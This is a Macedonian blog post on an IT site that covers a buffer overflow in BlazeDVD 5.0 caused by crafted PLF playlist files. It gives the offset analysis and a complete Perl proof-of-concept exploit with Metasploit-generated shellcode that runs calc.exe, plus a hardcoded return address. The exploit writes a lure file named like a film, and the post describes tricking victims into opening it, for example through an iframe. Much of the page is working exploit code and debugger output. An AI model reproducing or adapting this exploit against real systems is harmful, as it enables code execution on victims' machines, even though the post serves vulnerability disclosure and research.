Почетна arrow Блог arrow Комп. сигурност arrow Ранливост кај BlazeVideo BlazeDVD 5.0 Professional/Standard - BoF
 
 
Компјутерска сигурност
Интернет, Дизајн и анимација, Сигурност, Мрежи, Оперативни системи
RSS Канал  
Е-пошта  
Биографија  
 
 
Ѓоко Крстиќ
 
Ранливост кај BlazeVideo BlazeDVD 5.0 Professional/Standard - BoF Испечати Е-пошта
Автор: Ѓоко Крстиќ   
Објавено на: 08.08.2008
 

Како и во мојот претходен пост, се работи за истиот вид на напад, односно Buffer Overflow, но овојпат во софтвер пакетот BlazeVideo - BlazeDVD 5.0 Professional и Standard верзијата. Се работи за пренатрупување на меѓумеморијата (buffer) од страна на корисникот со помош на посебен приземјен податок од типот плејлиста со екстензија .PLF.

Ранливоста може да се експлоатира локално и далечински така што жртвата треба да биде измамена или насочена кон некоја веб страна на напаѓачот каде што се наоѓа направениот малициозен фајл (пр. Со помош на iframe).

Откако ја пронајдов оваа ранливост, побарав на интернет за да видам дали постои некој си Advisory за дадената слабост кај овој продукт. Дојдов до сознание дека ваквата слабост била пронајдена во далечната 2006 година од страна на Parvez Anwar како и Greg Linares. Без ниту една закрпа од страна на производителот за дадениот пропуст решив да одам подлабоку со истражувањето како и доаѓање до успешна експлоатација.

Извештаи:
- http://secunia.com/advisories/23041/
- http://www.frsirt.com/english/advisories/2006/4764
- http://xforce.iss.net/xforce/xfdb/30567
- http://osvdb.org/30770
- http://www.securityfocus.com/bid/21337/
- http://www.milw0rm.com/exploits/2880

Се работи за .PLF фајл кој содржи повеќе од 256 бајти, за кој, софтверот не извршува адекватна проверка на внесување од страна на корисникот, со што, доаѓаме до презапишување на EIP регистарот кој покажува до следната инструкција или адреса во меморијата за понатамошно извршување и нормалниот тек на програмата. Поради оваа пригода, се решив за експлоатациски код со чија помош ќе го презапишеме EIP регистарот и ќе и наредиме на програмата да ја стартува calc.exe (калкулатор) алатката со помош на специјален shellcode (win32_exec, CMD=calc.exe) креиран со услугите на Metasploit конструкцијата.

По извршената анализа, се работи точно за 264 бајти, од кое последните 4 бајти ќе ги искористиме за адресата за враќање (return address или RET), 164 бајти за shellcode-от и останатите бајти за NOP кодови (No OPeration codes) или \x90 во хексадецимално изразување.
Значи:
* 264 - 4 (RET) = 260
* 260 - 164 (SHELLCODE) = 96 (NOP)

За наоѓање на RET адресата, првично морав да ставам неколку "A" карактери од дадениот износ на NOP кодови, од прилика 86, и останатите 10 NOP кодови. Пр:

$garbage = "A" x 86;
$nop = "\x90" x 10;
$shellcode и $ret и т.н.

Image
Презапишување на EIP регистарот


Следува доказ на концептот (PoC):

--------------------------------------------------------------------------------
#!/usr/bin/perl
#
# Title: BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit (PoC)
#
# Summary: BlazeDVD is leading powerful and easy-to-use DVD player software.
# It can provide superior video and audio(Dolby) quality, together with other
# enhanced features:e.g. recording DVD,playback image and DV,bookmark and image
# capture.etc.Furthermore, besides DVD,Video CD,Audio CD, BlazeDVD supports DIVX,
# MPEG4, RM, QuickTime, WMV, WMV-HD, MacroMedia Flash and any other video file
# you have the codec installed for.The DVD player software can be extensive
# compatible with hardware,which is operated stable,smoothly under Windows98,
# 98SE, Me, 2000, XP, VISTA.
#
# Product web Page: http://www.blazevideo.com/dvd-player/index.htm
#
# Desc: BlazeDVD 5.0 suffers from buffer overflow vulnerability that can be
# exploited via crafted PLF playlist file localy and remotely. It fails to
# perform boundry checking of the user input file, allowing the EIP to be
# overwritten, thus, controling the next insctruction of the software. After
# succesfull exploitation, calc.exe will be executed. Failed attempts will
# result in Denial Of Service (DoS).
#
# WinDgb(output):
#
#
# - (4d8.f80): Access violation - code c0000005 (first chance)
# - First chance exceptions are reported before any exception handling.
# - This exception may be expected and handled.
# - eax=00000001 ebx=77f6c15c ecx=04bd0ba8 edx=00000042 esi=01beffc0 edi=6405565c
# - eip=41414141 esp=0012f188 ebp=01befcf8 iopl=0 nv up ei pl nz ac pe nc
# - cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
# - 41414141 ?? ???
#
#
# Tested on Microsoft Windows XP SP2 (English)
#
# Vulnerability discovered by: Parvez Anwar and Greg Linares
#
# Refs:
#
# - http://secunia.com/advisories/23041/
# - http://www.frsirt.com/english/advisories/2006/4764
# - http://xforce.iss.net/xforce/xfdb/30567
# - http://osvdb.org/30770
# - http://www.securityfocus.com/bid/21337/
# - http://www.milw0rm.com/exploits/2880
#
# Exploit coded by Gjoko 'LiquidWorm' Krstic
#
# Оваа адреса на е-пошта е зашититена од спем-ботови, потребно е да го вклучите Javascript-от за да ја погледнете
#
# http://www.zeroscience.org
#
# 08.08.2008
#

print "\n|==================================================================|\n";
print "| |\n";
print "| BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit |\n";
print "| by LiquidWorm |\n";
print "| |\n";
print "|==================================================================|\n\n";

$nop = "\x90" x 96;

# win32_exec EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com

$shellcode = "\x29\xc9\x83\xe9\xdd\xd9\xee".
"\xd9\x74\x24\xf4\x5b\x81\x73".
"\x13\x7d\xe6\xe7\x4e\x83\xeb".
"\xfc\xe2\xf4\x81\x0e\xa3\x4e".
"\x7d\xe6\x6c\x0b\x41\x6d\x9b".
"\x4b\x05\xe7\x08\xc5\x32\xfe".
"\x6c\x11\x5d\xe7\x0c\x07\xf6".
"\xd2\x6c\x4f\x93\xd7\x27\xd7".
"\xd1\x62\x27\x3a\x7a\x27\x2d".
"\x43\x7c\x24\x0c\xba\x46\xb2".
"\xc3\x4a\x08\x03\x6c\x11\x59".
"\xe7\x0c\x28\xf6\xea\xac\xc5".
"\x22\xfa\xe6\xa5\xf6\xfa\x6c".
"\x4f\x96\x6f\xbb\x6a\x79\x25".
"\xd6\x8e\x19\x6d\xa7\x7e\xf8".
"\x26\x9f\x42\xf6\xa6\xeb\xc5".
"\x0d\xfa\x4a\xc5\x15\xee\x0c".
"\x47\xf6\x66\x57\x4e\x7d\xe6".
"\x6c\x26\x41\xb9\xd6\xb8\x1d".
"\xb0\x6e\xb6\xfe\x26\x9c\x1e".
"\x15\x16\x6d\x4a\x22\x8e\x7f".
"\xb0\xf7\xe8\xb0\xb1\x9a\x85".
"\x86\x22\x1e\xc8\x82\x36\x18".
"\xe6\xe7\x4e";

$ret = "\x78\x53\xbe\x01";

$payload = $nop.$shellcode.$ret;

open(plf, ">./The_Dark_Knight.plf");

print plf "$payload";

print "\n--> Playlist: The_Dark_Knight.plf succesfully created...Enjoy!\n\n";

print "\n...t00t w00t!\n\a\n";

# August, 2008
--------------------------------------------------------------------------------

Значи, се работи за верзијата 5.0 Professional и Standard. Со неуспешна експлоатација, доаѓа до паѓање на апликацијата - DoS. Со успешната експлоатација, се извршува вградениот калкулатор на Microsoft Windows XP, calc.exe.

Image


Бидејќи веќе 2 години нема никаква закрпа од страна на произведителот, можете да замислите дали воопшто им е важна сигурноста на нивните апликации или пак довербата на нивните клиенти.

Референти:
- http://www.securityfocus.com/bid/21337/exploit
- http://www.packetstormsecurity.org/filedesc/blazedvd_bof.pl.txt.html
- http://zeroscience.org/codes/blazedvd_bof.txt
- http://www.milw0rm.com/exploits/6217
- http://www.xakep.ru/post/44818/BlazeDVD-Remote-Buffer-Overflow-Exploit.txt


Клучни зборови:  BlazeVideo   BlazeDVD   BoF   PoC   Ранливост   Експлоатација   Експлоит   DoS   PLF   Playlist


   

Коментари  RSS feed comment
 
 


Напиши коментар
Само регистрираните корисници можат да коментираат.

Нема коментари

Сподели:
Кајмакот
Digg
Technorati
Stumble
Reddit
YahooMyWeb
Delicious
Ma.gnolia
Facebook
Spurl
IT.com.mk форум
RSS канали на it.com.mk

OEM

Original Equipment Manufacturer - организација која продава производ произведен од други компании.

Корисничко име

Лозинка



ИТ ТВ

ИТ ТВ
Низ it.com.mk Блог Сервиси Маркетинг
Вести од Македонија
Вести од Свет
Статии
Форум
Рецензии
Совети & трикови
Преземања
Настани
Барометар
Едуцентар
Сите блогови
е-Бизнис 2.0
Од различен аспект
Uid=0
Хардверманија
Компјутерска сигурност
Apple
Линукс блог
Веб-Соц Свет
Членство
Е-билтен
RSS канали

Профили
Facebook
Twitter
Flickr
Last.fm
FriendFeed
LinkedIn
MKHOST - www.mkhost.com.mk
Веб хостинг, регистрација на домени, аудио стриминг, дизајн на веб страни

IT.com.mk на Twitter